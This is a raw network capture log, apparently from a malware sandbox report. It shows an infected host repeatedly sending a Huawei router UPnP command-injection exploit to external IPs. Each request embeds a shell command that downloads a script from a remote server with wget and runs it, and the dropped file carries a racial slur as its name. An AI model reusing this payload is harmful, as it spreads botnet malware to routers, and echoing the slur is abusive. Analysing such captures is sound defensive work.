3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.15	42770	186.129.147.242	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:39.433147907 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:39.692441940 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.15	39466	45.126.229.67	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:39.594608068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:40.450742006 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:41.442711115 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:43.426772118 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:47.522608042 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:55.458280087 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:11.329904079 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:44.097084045 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 